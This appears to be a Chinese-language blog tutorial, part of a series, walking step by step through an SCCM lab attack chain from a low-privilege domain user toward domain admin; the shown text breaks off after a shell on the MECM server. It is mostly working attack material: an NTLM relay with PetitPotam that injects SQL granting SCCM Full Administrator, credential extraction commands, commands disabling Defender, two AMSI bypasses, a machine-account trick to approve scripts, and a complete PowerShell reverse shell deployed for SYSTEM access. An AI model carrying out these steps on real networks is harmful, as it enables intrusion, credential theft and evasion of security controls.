
在前兩天的文章中,我們完成了 SCCM 環境的情資蒐集和 PXE Boot 攻擊。今天,我們將完整展示從低權限域用戶一路提升到域管理員的攻擊鏈。這個攻擊鏈展示了 SCCM 環境中多個安全機制的串連利用,包括:
這個攻擊鏈不僅展示了 SCCM 環境的攻擊面,也說明了為什麼 SCCM 是企業環境中的「皇冠上的寶石」——一旦被攻陷,攻擊者可以快速橫向移動並最終控制整個網域。
重要提醒:本文內容僅供教育和研究目的,所有操作應在合法授權的測試環境中進行。
攻擊鏈路線圖:
起點:低權限域用戶 (carol)
    ↓
第一階段:NTLM Relay 到 MSSQL
    → 利用 MECM$ 機器帳戶的資料庫管理員權限
    → 修改 RBAC 資料表
    → 提升為 SCCM Full Administrator
    ↓
第二階段:本地管理員憑證收集
    → 使用 Day29 取得的本地管理員密碼
    → 從客戶端機器提取 NAA 憑證
    → 驗證並確認多種憑證收集方法
    ↓
第三階段:SCCM 管理權限濫用
    → 使用 CMPivot 列舉環境
    → 部署惡意腳本到目標機器
    → 取得 MECM 伺服器的 Shell
    ↓
第四階段:資料庫憑證解密
    → 從 MSSQL 提取加密憑證
    → 解密資料庫中的服務帳戶密碼
    → 發現域管理員帳戶 (sccm-account-da)
    ↓
終點:完全控制域環境
在開始攻擊前,確認我們已經從前面的步驟中取得以下資訊:
從 Day29 PXE 攻擊取得的憑證:
網路存取帳戶 (NAA):
- 使用者:sccm.lab\sccm-naa
- 密碼:123456789
本地管理員密碼:
- 使用者:administrator
- 密碼:EP+xh7Rk6j90
網域加入帳戶:
- 使用者:sccm.lab\sccm-naa
- 密碼:123456789
已知的低權限域用戶:
使用者:sccm.lab\carol
密碼:SCCMftw
權限:標準域用戶,無特殊權限
確認以下工具已安裝:
Python 工具:
# CrackMapExec/NetExec
pip install netexec
編譯工具(Windows):
# SharpSCCM - 在 Windows 上編譯
git clone https://github.com/Mayyhem/SharpSCCM.git
# 使用 Visual Studio 編譯或下載 Release 版本
Coercion 工具:
# PetitPotam
git clone https://github.com/topotam/PetitPotam.git
# 驗證可以連接到所有目標
ping -c 1 192.168.52.10  # DC
ping -c 1 192.168.52.11  # MECM
ping -c 1 192.168.52.12  # MSSQL
ping -c 1 192.168.52.13  # CLIENT
# 驗證 carol 憑證有效
nxc smb 192.168.52.11 -u carol -p SCCMftw -d sccm.lab


為什麼這個攻擊有效:
在標準的 SCCM 部署中,存在一個關鍵的架構設計:
MECM 主要伺服器的機器帳戶 (MECM$)
    ↓
必須是 MSSQL Server 的 sysadmin
    ↓
才能管理 SCCM 站點資料庫
這個設計帶來的安全問題:
攻擊流程圖:
攻擊者 (192.168.52.1)
    │
    ├─► 步驟 1:設定 NTLM Relay
    │   └─► ntlmrelayx 監聽並準備 SQL 查詢
    │
    ├─► 步驟 2:觸發 MECM 認證
    │   └─► PetitPotam 強制 MECM 連線到攻擊者
    │
    ├─► 步驟 3:中繼認證
    │   └─► MECM$ 認證 → 中繼到 MSSQL
    │
    └─► 步驟 4:修改資料庫
        └─► 執行 SQL 將 carol 加入 RBAC_Admins
步驟 1:生成 SQL 查詢
SCCMHunter 提供了自動化功能來生成所需的 SQL 查詢:
# 使用 carol 的憑證生成攻擊查詢
python3 sccmhunter.py mssql \
    -u carol \
    -p SCCMftw \
    -d sccm.lab \
    -dc-ip 192.168.52.10 \
    -tu carol \
    -sc P01 \
    -stacked \
    -debug
參數說明:
mssql:選擇 MSSQL 攻擊模組-u carol -p SCCMftw:低權限域用戶憑證-d sccm.lab -dc-ip 192.168.52.10:域資訊-tu carol:目標用戶(要提升權限的用戶)-sc P01:站點代碼(Day28 偵察取得)-stacked:使用堆疊查詢-debug:顯示詳細輸出預期輸出:
DECLARE @AdminID INT; USE CM_P01; INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT 0x01050000000000051500000017F8BB9F5CE16E4E94D69F0D5A040000, 'SCCMLAB\carol', 0, 0, '', '', '', '', 'P01' WHERE NOT EXISTS ( SELECT 1 FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol' ); SET @AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'); INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) SELECT @AdminID, RoleID, ScopeID, ScopeTypeID FROM (VALUES  ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1) ) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions  WHERE AdminID = @AdminID  AND RoleID = V.RoleID  AND ScopeID = V.ScopeID AND ScopeTypeID = V.ScopeTypeID );

複製這個完整的 SQL 查詢,我們將在下一步使用。
步驟 2:設定 NTLM Relay
開啟第一個終端,設定 ntlmrelayx:
# 將剛才生成的完整 SQL 查詢貼上
ntlmrelayx.py \
    -smb2support \
    -ts \
    -t mssql://192.168.52.12 \
    -q "DECLARE @AdminID INT; USE CM_P01; INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT 0x01050000000000051500000017F8BB9F5CE16E4E94D69F0D5A040000, 'SCCMLAB\carol', 0, 0, '', '', '', '', 'P01' WHERE NOT EXISTS ( SELECT 1 FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol' ); SET @AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'); INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) SELECT @AdminID, RoleID, ScopeID, ScopeTypeID FROM (VALUES  ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1) ) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions  WHERE AdminID = @AdminID  AND RoleID = V.RoleID  AND ScopeID = V.ScopeID AND ScopeTypeID = V.ScopeTypeID );"
參數說明:
-smb2support:支援 SMBv2/v3-ts:顯示時間戳記-t mssql://192.168.52.12:目標 MSSQL 伺服器-q "...":成功中繼後要執行的 SQL 查詢預期輸出:
[*] Servers started, waiting for connections
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up LDAP Server

步驟 3:觸發 MECM 認證
開啟第二個終端,使用 PetitPotam 強制 MECM 認證:
# 使用 carol 的憑證觸發 MECM 認證
python3 PetitPotam.py \
    -d sccm.lab \
    -u carol \
    -p SCCMftw \
    192.168.52.150 \
    192.168.52.11
參數說明:
-d sccm.lab:域名稱-u carol -p SCCMftw:有效域憑證192.168.52.150:攻擊者 IP(監聽器位置)192.168.52.11:MECM 伺服器 IP(目標)PetitPotam 輸出:
[*] Connecting to 192.168.52.11
[*] Coercing authentication from 192.168.52.11
[*] Successfully triggered authentication

ntlmrelayx 輸出(成功):
[*] SMBD-Thread-1: Connection from SCCM/MECM$@192.168.52.11 controlled, attacking target mssql://192.168.52.12
[*] Authenticating against mssql://192.168.52.12 as SCCM/MECM$ SUCCEED
[*] MSSQL: Executing query: USE CM_P01; INSERT INTO RBAC_Admins...
[*] MSSQL: Query executed successfully
[+] carol added as SCCM Full Administrator!

使用 SCCMHunter 驗證 carol 現在是 SCCM 管理員:
# 連接到 SCCM 管理介面
python3 sccmhunter.py admin \
    -u carol@sccm.lab \
    -p 'SCCMftw' \
    -ip 192.168.52.11

在 SCCMHunter 互動式 Shell 中:
() C:\ >> show_admins
預期輸出:
[09:11:19] INFO     Tasked SCCM to list current SMS Admins.
[09:11:20] INFO     Current Full Admin Users:
[09:11:20] INFO     SCCMLAB\Administrator
[09:11:20] INFO     SCCMLAB\carol
[09:11:20] INFO     SCCMLAB\SCCM-Admins
成功! carol 現在是 SCCM Full Administrator。
如果想要深入理解攻擊過程,可以手動執行每個步驟:
步驟 1:取得 carol 的 SID
cat > ldap_query.sh << 'EOF'
#!/bin/bash
import base64
import struct
import sys
def decode_sid(base64_sid):
    sid_binary = base64.b64decode(base64_sid)
    revision = sid_binary[0]
    sub_auth_count = sid_binary[1]
    authority = struct.unpack('>Q', b'\x00\x00' + sid_binary[2:8])[0]
    sid = f"S-{revision}-{authority}"
    for i in range(sub_auth_count):
        offset = 8 + (i * 4)
        sub_auth = struct.unpack('<I', sid_binary[offset:offset+4])[0]
        sid += f"-{sub_auth}"
    return sid
# 從 stdin 讀取 base64
sid_b64 = sys.stdin.read().strip()
print(decode_sid(sid_b64))
EOF
# 使用方式
ldapsearch -x -H ldap://192.168.52.10 \
    -D "carol@SCCM.lab" \
    -w "SCCMftw" \
    -b "DC=SCCM,DC=lab" \
    "(name=carol)" objectSid \
    -LLL | grep "objectSid::" | awk '{print $2}' | python3 ldap_query.sh
輸出:
S-1-5-21-2679896087-1315889500-228578964-1114

步驟 2:轉換 SID 為十六進位
SID 格式:S-1-5-21-2679896087-1315889500-228578964-1114
建立 Python 腳本 convert_sid.py:
#!/usr/bin/python3
import sys
from struct import pack
if len(sys.argv) <= 1:
    print('Usage: python3 ' + sys.argv[0] + ' sid\n')
    exit(0)
sid = sys.argv[1]
print(f'[+] SID: {sid}')
items = sid.split('-')
revision = pack('B', int(items[1]))
dashNumber = pack('B', len(items) - 3)
identifierAuthority = b'\x00\x00' + pack('>L', int(items[2]))
subAuthority = b''
for i in range(len(items) - 3):
    subAuthority += pack('<L', int(items[i+3]))
hex_sid = revision + dashNumber + identifierAuthority + subAuthority
result = '0x' + ''.join('{:02X}'.format(b) for b in hex_sid)
print(f'[+] Result: {result}')
執行轉換:
python3 convert_sid.py S-1-5-21-2679896087-1315889500-228578964-1114

輸出:
[+] SID: S-1-5-21-2679896087-1315889500-228578964-1114
[+] Result: 0x01050000000000051500000017F8BB9F5CE16E4E94D69F0D5A040000
步驟 3:使用 SOCKS 代理執行
設定 ntlmrelayx 使用 SOCKS 模式:
ntlmrelayx.py \
    -smb2support \
    -ts \
    -t mssql://192.168.52.12 \
    -socks

觸發認證:
python3 PetitPotam.py \
    -d sccm.lab \
    -u carol \
    -p SCCMftw \
    192.168.52.150 \
    192.168.52.11

執行完之後,回去看 ntlmrelayx
[2025-10-14 09:27:45] [*] (SMB): Received connection from 192.168.52.11, attacking target mssql://192.168.52.12
[2025-10-14 09:27:45] [*] Encryption required, switching to TLS
[2025-10-14 09:27:45] [*] (SMB): Authenticating connection from SCCMLAB/MECM$@192.168.52.11 against mssql://192.168.52.12 SUCCEED [1]
[2025-10-14 09:27:45] [*] SOCKS: Adding MSSQL://SCCMLAB/MECM$@192.168.52.12(1433) [1] to active SOCKS connection. Enjoy
[2025-10-14 09:27:45] [*] All targets processed!
[2025-10-14 09:27:45] [*] (SMB): Connection from 192.168.52.11 controlled, but there are no more targets left!
透過 SOCKS 代理連接資料庫:
預設 SOCKS proxy 端口是 1080
因此要設定
sudo vim /etc/proxychains4.conf
sock4 127.0.0.1 1080
確認是否有成功設定:
tail -20 /etc/proxychains4.conf

proxychains -q mssqlclient.py \
    -windows-auth \
    -no-pass \
    'SCCMLAB/MECM$'@192.168.52.12

手動執行 SQL 查詢:
-- 切換到 SCCM 資料庫
USE CM_P01;
select * from RBAC_Admins;

如果你要手動新增,你可以執行以下指令:
-- 新增 carol 為管理員
INSERT INTO RBAC_Admins 
    (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) 
VALUES 
    (0x01050000000000051500000017f8bb9f5ce16e4e94d69f0d5a040000, 'SCCM\carol', 0, 0, '', '', '', '', 'P01');
-- 查詢 carol 的 AdminID
SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol';
-- 假設回傳的 AdminID 是 16777219

select * from RBAC_ExtendedPermissions;
可以看到剛剛自動化已經新增了
-- 授予完全權限
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) 
VALUES 
    (16777219, 'SMS0001R', 'SMS00ALL', '29'),
    (16777219, 'SMS0001R', 'SMS00001', '1'),
    (16777219, 'SMS0001R', 'SMS00004', '1');
-- 驗證
SELECT * FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol';

已完成:
取得的權限:
下一步:
利用 SCCM 管理權限進行更深入的攻擊
在 SCCM 環境中,客戶端機器會將敏感憑證快取在本地,包括:
快取的憑證類型:
儲存位置:
客戶端機器的憑證儲存位置:
1. WMI 命名空間
   └─ ROOT\CCM\Policy\Machine\ActualConfig
      ├─ CCM_NetworkAccessAccount
      ├─ CCM_TSEnvironment
      └─ CCM_CollectionVariable
2. 磁碟檔案系統
   └─ C:\Windows\System32\wbem\Repository\
      └─ OBJECTS.DATA(WMI CIM 儲存庫)
3. 登錄檔
   └─ HKLM\SOFTWARE\Microsoft\SMS\Mobile Client\
      └─ Software Distribution
DPAPI 加密說明:
所有這些憑證都使用 Windows DPAPI (Data Protection API) 加密:
C:\Windows\System32\Microsoft\Protect\S-1-5-18\
首先使用 Day29 取得的本地管理員密碼測試存取:
# 測試本地管理員憑證
nxc smb 192.168.52.13 \
    -u administrator \
    -p 'EP+xh7Rk6j90' \
    --local-auth

預期輸出:
SMB         192.168.52.13   445    CLIENT           [+] CLIENT\administrator:EP+xh7Rk6j90 (Pwn3d!)
「Pwn3d!」標記表示該帳戶具有管理員權限,可以進行後續操作。
工具說明:
dploot 是一個專門用於提取 DPAPI 保護資料的工具,支援多種資料來源,包括:
執行憑證收集:
# 使用 dploot 的 SCCM 模組
dploot sccm \
    -u administrator \
    -p 'EP+xh7Rk6j90' \
    -t 192.168.52.13
參數說明:
sccm:使用 SCCM 憑證提取模組-u administrator:本地管理員帳戶-p 'EP+xh7Rk6j90':密碼-t 192.168.52.13:目標客戶端 IP預期輸出:
[*] Connected to 192.168.52.13
[*] Collecting SCCM secrets from WMI
[+] Found Network Access Account:
    Username: SCCM\sccm-naa
    Password: 123456789
[*] Collecting SCCM secrets from disk
[+] Found credentials in WMI CIM Repository:
    Username: SCCM\sccm-naa
    Password: 123456789
[*] Collecting Task Sequence variables
[+] No Task Sequence currently active

進階:使用 WMI 方法
dploot 也支援讀取 WMI CIM 儲存庫檔案(Duane Michael 的技術):
# 使用 WMI CIM 方法
dploot sccm \
    -u administrator \
    -p 'EP+xh7Rk6j90' \
    -t 192.168.52.13 \
    -wmi

這個方法會:
OBJECTS.DATA 檔案SCCMHunter 也提供 DPAPI 憑證提取功能:
# 使用 SCCMHunter 的 dpapi 模組
python3 sccmhunter.py dpapi \
    -u administrator \
    -p 'EP+xh7Rk6j90' \
    -target 192.168.52.13 \
    -wmi \
    -debug
預期輸出:
[10:23:16] DEBUG    [*] Establishing SMB connection to 192.168.52.13
[10:23:16] DEBUG    [*] Performing NTLM login
[10:23:16] DEBUG    [*] Establishing DCOM connection to 192.168.52.13
[10:23:16] INFO     [*] Starting SCCM secrets extraction via WMI
[10:23:16] DEBUG    [*] Connecting to WMI namespace: root\ccm\Policy\Machine\ActualConfig
[10:23:16] INFO     [+] Found NAA credentials
[10:23:16] DEBUG    [*] Retrieving masterkey file: 52310566-8B7D-4FC4-937D-57B608EE1396
[10:23:16] DEBUG    [*] Attempting to extract bootkey from the target machine
[10:23:16] DEBUG    [*] Attempting to dump LSA secrets from the target machine
[10:23:17] DEBUG    [*] Decrypted masterkey 52310566-8B7D-4FC4-937D-57B608EE1396:
                    0x6ba2408ec90096012570193d7b4f8f432ca835732377b24178583ef92c2c70c8b4107c5413f046a2c158c08d8ddee
                    b0965cb8a183a9b0dee11773512f74d8eb4
[10:23:17] INFO             - NetworkAccessUsername: sccm.lab\sccm-naa
[10:23:17] INFO             - NetworkAccessPassword: 123456789
[10:23:17] DEBUG    [*] Got SCCM secrets from WMI namespace 'root\ccm\Policy\Machine\ActualConfig'
[10:23:17] INFO     [*] WMI SCCM secrets dump complete
[10:23:17] DEBUG    [*] Closing DCOM connection to 192.168.52.13
[10:23:17] DEBUG    [*] Closing SMB connection to 192.168.52.13

在 Windows 環境中的操作流程:
https://github.com/Mayyhem/SharpSCCM/wiki/Build-Instructions
需要進行編譯

步驟 1:連接到客戶端
使用 RDP 連接到 CLIENT:
# 建立共享資料夾(用於傳輸工具)
sudo mkdir /workspace
sudo mkdir /workspace/share
# RDP 連接並掛載共享
xfreerdp3 \
    /u:"administrator" \
    /p:"EP+xh7Rk6j90" \
    /v:"192.168.52.13" \
    /cert:ignore \
    /drive:share,/workspace/share
步驟 2:停用防護機制
在 RDP 會話中開啟 PowerShell(以管理員身份):
# 停用 Windows Defender 即時保護
Set-MpPreference -DisableRealtimeMonitoring $true
# 確認已停用
Get-MpPreference | Select-Object DisableRealtimeMonitoring
步驟 3:AMSI 繞過
執行多層 AMSI 繞過以避免偵測:
PowerShell AMSI 繞過:
# 第一層:PowerShell AMSI 繞過
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
C# AMSI 繞過(rasta-mouse):
# 第二層:C# AMSI 繞過
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
步驟 4:執行 SharpSCCM
從掛載的共享複製 SharpSCCM:
# 複製工具到本地
Copy-Item \\tsclient\share\SharpSCCM_merged.exe C:\Windows\Temp\
# 切換到工作目錄
cd C:\Windows\Temp\
使用 WMI 方法收集憑證:
.\SharpSCCM_merged.exe local secrets -m wmi
預期輸出:
[*] Retrieving secrets from WMI
[*] Querying namespace: ROOT\CCM\Policy\Machine\ActualConfig
[+] Network Access Account:
    Username: SCCM\sccm-naa
    Password: 123456789
    Domain: sccm.lab
[+] Collection Variables: (0)
[+] Task Sequence Variables: (0)
使用磁碟方法收集憑證:
.\SharpSCCM_merged.exe local secrets -m disk
預期輸出:
[*] Retrieving secrets from disk
[*] Parsing WMI CIM Repository: C:\Windows\System32\wbem\Repository\OBJECTS.DATA
[+] Found NAA credentials:
    Username: SCCM\sccm-naa
    Password: 123456789
[*] Checking for Task Sequence variables
[*] No active Task Sequence found
| 方法 | 工具 | 平台 | 優點 | 缺點 | 
|---|---|---|---|---|
| WMI 查詢 | dploot, SCCMHunter, SharpSCCM | 遠端 | 快速、無檔案落地 | 需要遠端 WMI 存取 | 
| 磁碟讀取 | dploot, SharpSCCM | 本地/遠端 | 可取得歷史資料 | 需要檔案系統存取 | 
| 記憶體傾印 | Mimikatz, SharpDPAPI | 本地 | 可取得即時變數 | 需要 SYSTEM 權限 | 
建議順序:
已完成:
取得的憑證:
Network Access Account (NAA):
- 使用者:sccm.lab\sccm-naa
- 密碼:123456789
- 權限:可存取所有 SCCM 發布點
重要發現:
下一步:
利用 SCCM 管理權限進行環境列舉和腳本部署
作為 SCCM Full Administrator,我們現在可以使用以下強大功能:
管理功能清單:
SCCM Administrator 權限
├─ 設備管理
│  ├─ 列舉所有註冊設備
│  ├─ 查看設備詳細資訊
│  └─ 管理設備設定
│
├─ 使用者管理
│  ├─ 新增/移除管理員
│  ├─ 修改權限設定
│  └─ 查看使用者資訊
│
├─ 遠端管理
│  ├─ CMPivot 即時查詢
│  ├─ 遠端控制(如果啟用)
│  └─ 設備重啟/關機
│
├─ 軟體部署
│  ├─ 應用程式部署
│  ├─ 腳本部署
│  ├─ 套件部署
│  └─ Task Sequence 部署
│
└─ 資料庫存取
   ├─ 查詢設備資訊
   ├─ 查詢軟體清單
   └─ 提取設定資料
步驟 1:連接到 SCCM 管理介面
# 使用 carol 的管理員權限
python3 sccmhunter.py admin \
    -u carol@sccm.lab \
    -p 'SCCMftw' \
    -ip 192.168.52.11
進入 SCCMHunter 互動式 Shell。
步驟 2:列舉所有 SCCM 管理員
() C:\ >> show_admins
預期輸出:

[10:34:02] INFO     Tasked SCCM to list current SMS Admins.
[10:34:02] INFO     Current Full Admin Users:
[10:34:02] INFO     SCCMLAB\Administrator
[10:34:02] INFO     SCCMLAB\carol
[10:34:02] INFO     SCCMLAB\SCCM-Admins
發現:
SCCM-Admins 是一個 SCCM Full Admin 群組ldapsearch -x -H ldap://192.168.52.10 \
    -D "carol@SCCM.lab" \
    -w "SCCMftw" \
    -b "CN=Domain Admins,CN=Users,DC=sccm,DC=lab" \
	member

關鍵發現:
sccm-account-da 是域管理員群組的成員步驟 3:列舉註冊的設備
() C:\ >> get_device DC

() C:\ >> get_device MECM

() C:\ >> get_device MSSQL

步驟 4:取得特定設備的詳細資訊
# 查看 CLIENT 的詳細資訊
() C:\ >> get_device CLIENT

預期輸出:
() (C:\) >> get_device CLIENT
[10:37:36] INFO     ------------------------------------------
                    Active: 1
                    Client: 1
                    DistinguishedName: CN=CLIENT,CN=Computers,DC=sccm,DC=lab
                    FullDomainName: SCCM.LAB
                    IPAddresses: 192.168.52.13 192.168.58.142 fe80::6992:ceb9:43...
                    LastLogonUserDomain: None
                    LastLogonUserName: None
                    Name: CLIENT
                    OperatingSystemNameandVersion: Microsoft Windows NT Advanced Server 10.0
                    PrimaryGroupID: 515
                    ResourceId: 16777221
                    ResourceNames: CLIENT.sccm.lab
                    SID: S-1-5-21-2679896087-1315889500-228578964-1106
                    SMSInstalledSites: P01
                    SMSUniqueIdentifier: GUID:DB2D0106-4A4F-4E55-8B4D-CF6E65869356
                    ------------------------------------------
記錄 ResourceId: 16777221,後續操作會用到。
CMPivot 介紹:
CMPivot 是 SCCM 的即時查詢功能,可以在不部署代理程式或腳本的情況下,即時從客戶端收集資訊。
支援的內建查詢:
| 查詢類型 | 說明 | SCCMHunter 指令 | 
|---|---|---|
| administrators | 列出本地管理員 | administrators | 
| ipconfig | 網路設定 | ipconfig | 
| osinfo | 作業系統資訊 | osinfo | 
| ps | 執行中的處理程序 | ps | 
| services | 服務列表 | services | 
| sessions | 登入會話 | sessions | 
| shares | SMB 共享 | shares | 
| software | 已安裝軟體 | software | 
| environment | 環境變數 | environment | 
| disk | 磁碟資訊 | disk | 
| console_users | 主控台使用者 | console_users | 
步驟 1:選擇目標設備
# 互動模式選擇 CLIENT
() C:\ >> interact 16777221
提示符會變更為:
(16777221) C:\ >>
步驟 2:查詢本地管理員
(16777221) C:\ >> administrators
輸出:
關鍵發現:
eve 是域用戶但有本地管理員權限步驟 3:查詢執行中的處理程序
(16777221) C:\ >> ps
預期輸出:

(16777221) (C:\) >> ps
[10:44:34] INFO     Tasked SCCM to list processes.
[10:44:34] INFO     Got OperationId 16777287. Sleeping 10 seconds to wait for host to call home.
[10:44:44] INFO     +---------------------------+-------------+---------------------+------------------+-----------
                    ----+----------+
                    | Name                      |   ProcessId | CreationDate        |   WorkingSetSize |
                    HandleCount | Device   |
                    +===========================+=============+=====================+==================+===========
                    ====+==========+
                    | System Idle Process       |           0 | 2025-10-12 05:23:58 |             8192 |
                    0 | CLIENT   |
                    +---------------------------+-------------+---------------------+------------------+-----------
                    ----+----------+
                    | System                    |           4 | 2025-10-12 05:23:58 |            49152 |
                    1725 | CLIENT   |
                    +---------------------------+-------------+---------------------+------------------+-----------
                    ----+----------+
                    | Registry                  |          88 | 2025-10-12 05:23:55 |         78405632 |
                    0 | CLIENT   |
                    +---------------------------+-------------+---------------------+------------------+-----------
                    ----+----------+
                    | smss.exe                  |         280 | 2025-10-12 05:23:58 |           835584 |
                    53 | CLIENT   |
                    +---------------------------+-------------+---------------------+------------------+-----------
步驟 4:查詢網路連線
(16777221) C:\ >> ipconfig

步驟 5:查詢已安裝軟體
(16777221) C:\ >> software

輸出會列出所有已安裝的軟體及版本。
步驟 6:查詢 SMB 共享
(16777221) C:\ >> shares

為了保持持久性和靈活性,我們可以新增額外的管理員帳戶。
步驟 1:取得目標用戶的 SID
cat > ~/tools/convert_sid.py << 'EOF'
#!/usr/bin/env python3
import base64
import struct
import sys
def decode_sid(base64_sid):
    sid_binary = base64.b64decode(base64_sid)
    revision = sid_binary[0]
    sub_auth_count = sid_binary[1]
    authority = struct.unpack('>Q', b'\x00\x00' + sid_binary[2:8])[0]
    
    sid = f"S-{revision}-{authority}"
    for i in range(sub_auth_count):
        offset = 8 + (i * 4)
        sub_auth = struct.unpack('<I', sid_binary[offset:offset+4])[0]
        sid += f"-{sub_auth}"
    return sid
if __name__ == '__main__':
    if len(sys.argv) > 1:
        # 從命令行參數讀取
        print(decode_sid(sys.argv[1]))
    else:
        # 從 stdin 讀取
        sid_b64 = sys.stdin.read().strip()
        if sid_b64:
            print(decode_sid(sid_b64))
        else:
            print("Usage: python3 convert_sid.py <base64_sid>")
            print("   or: echo <base64_sid> | python3 convert_sid.py")
            sys.exit(1)
EOF
chmod +x ~/tools/convert_sid.py
# 查詢 franck 的 SID
ldapsearch -x -H ldap://192.168.52.10 \
    -D "carol@SCCM.lab" \
    -w "SCCMftw" \
    -b "DC=sccm,DC=lab" \
    "(name=franck)" objectSid \
    -LLL | grep "objectSid::" | awk '{print $2}' | python3 ~/tools/convert_sid.py

輸出:
S-1-5-21-2679896087-1315889500-228578964-1117
步驟 2:新增 franck 為管理員
# 在 SCCMHunter Shell 中
() C:\ >> add_admin franck S-1-5-21-2679896087-1315889500-228578964-1117

預期輸出:
[*] Tasked SCCM to add franck as an administrative user
[+] Successfully added franck as an admin
步驟 3:驗證
() C:\ >> show_admins

確認 franck 出現在管理員列表中。
攻擊目標:部署反向 Shell 到 CLIENT 和 MECM
準備工作:
步驟 1:建立 PowerShell 反向 Shell 腳本
建立 revshell.ps1:
# PowerShell TCP 反向 Shell
$client = New-Object System.Net.Sockets.TCPClient('192.168.52.150',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
儲存為 sudo vim /workspace/revshell.ps1。
步驟 2:設定監聽器
開啟新終端:
# 使用 netcat 監聽
nc -nlvp 4444
腳本部署的兩種方式:
如果 SCCM 未要求腳本核准,可以直接部署:
# 嘗試直接部署
(16777221) C:\ >> script /workspace/revshell.ps1
預期錯誤:
[!] Script approval required
[!] This SCCM environment requires scripts to be approved before execution

步驟 1:建立核准用電腦帳戶
# 新增電腦帳戶用於核准
addcomputer.py \
    -computer-name 'approval$' \
    -computer-pass 'approvalaccount' \
    'sccm.lab/carol:SCCMftw' \
    -dc-ip 192.168.52.10

輸出:
[*] Successfully added machine account approval$ with password approvalaccount.
步驟 2:取得電腦帳戶的 SID
ldapsearch -x -H ldap://192.168.52.10 \
    -D "carol@SCCM.lab" \
    -w "SCCMftw" \
    -b "DC=sccm,DC=lab" \
    "(name=*approval*)" objectSid \
    -LLL | grep "objectSid::" | awk '{print $2}' | python3 ~/tools/convert_sid.py
輸出:
步驟 3:將電腦帳戶新增為 SCCM 管理員
# 在 SCCMHunter Shell 中
() C:\ >> add_admin approval$ S-1-5-21-2679896087-1315889500-228578964-1124

輸出:
[+] Successfully added approval$ as an admin
步驟 4:使用核准帳戶重新連接
結束目前 SCCMHunter 會話,使用核准帳戶重新連接:
python3 sccmhunter.py admin \
    -u carol@sccm.lab \
    -p 'SCCMftw' \
    -ip 192.168.52.11 \
    -au 'approval$' \
    -ap 'approvalaccount' \
    -debug

參數說明:
-au 'approval$':核准用帳戶-ap 'approvalaccount':核准用密碼步驟 5:部署腳本到 CLIENT
# 取得 CLIENT 設備
() C:\ >> get_device CLIENT
# 互動模式
() C:\ >> interact 16777221
# 部署反向 Shell
(16777221) C:\ >> script /workspace/revshell.ps1
預期輸出:
[*] Uploading script to SCCM
[*] Creating script deployment
[*] Script approved by approval$
[*] Deploying to ResourceId 16777221 (CLIENT)
[+] Script deployment successful
[*] Waiting for execution...

在監聽器終端:
Connection from 192.168.52.13:xxxxx
Microsoft Windows [Version 10.0.19044.1234]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\CCM\> whoami
nt authority\system
C:\Windows\CCM\> hostname
CLIENT

成功! 我們取得了 CLIENT 的 SYSTEM 權限 Shell。
步驟 6:部署腳本到 MECM
重複相同步驟,這次目標是 MECM:
# 取得 MECM 設備資訊
() C:\ >> get_device MECM
# ResourceId: 16777219
# 互動模式
() C:\ >> interact 16777219
# 部署反向 Shell
(16777219) C:\ >> script /workspace/revshell.ps1
在監聽器終端(開啟新的監聽):
# 新終端
nc -nlvp 5555
修改 revshell.ps1 的端口為 5555 後重新部署。
成功取得 MECM 的 Shell:
Connection from 192.168.52.11:xxxxx
Microsoft Windows [Version 10.0.17763.1234]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\CCM\> whoami
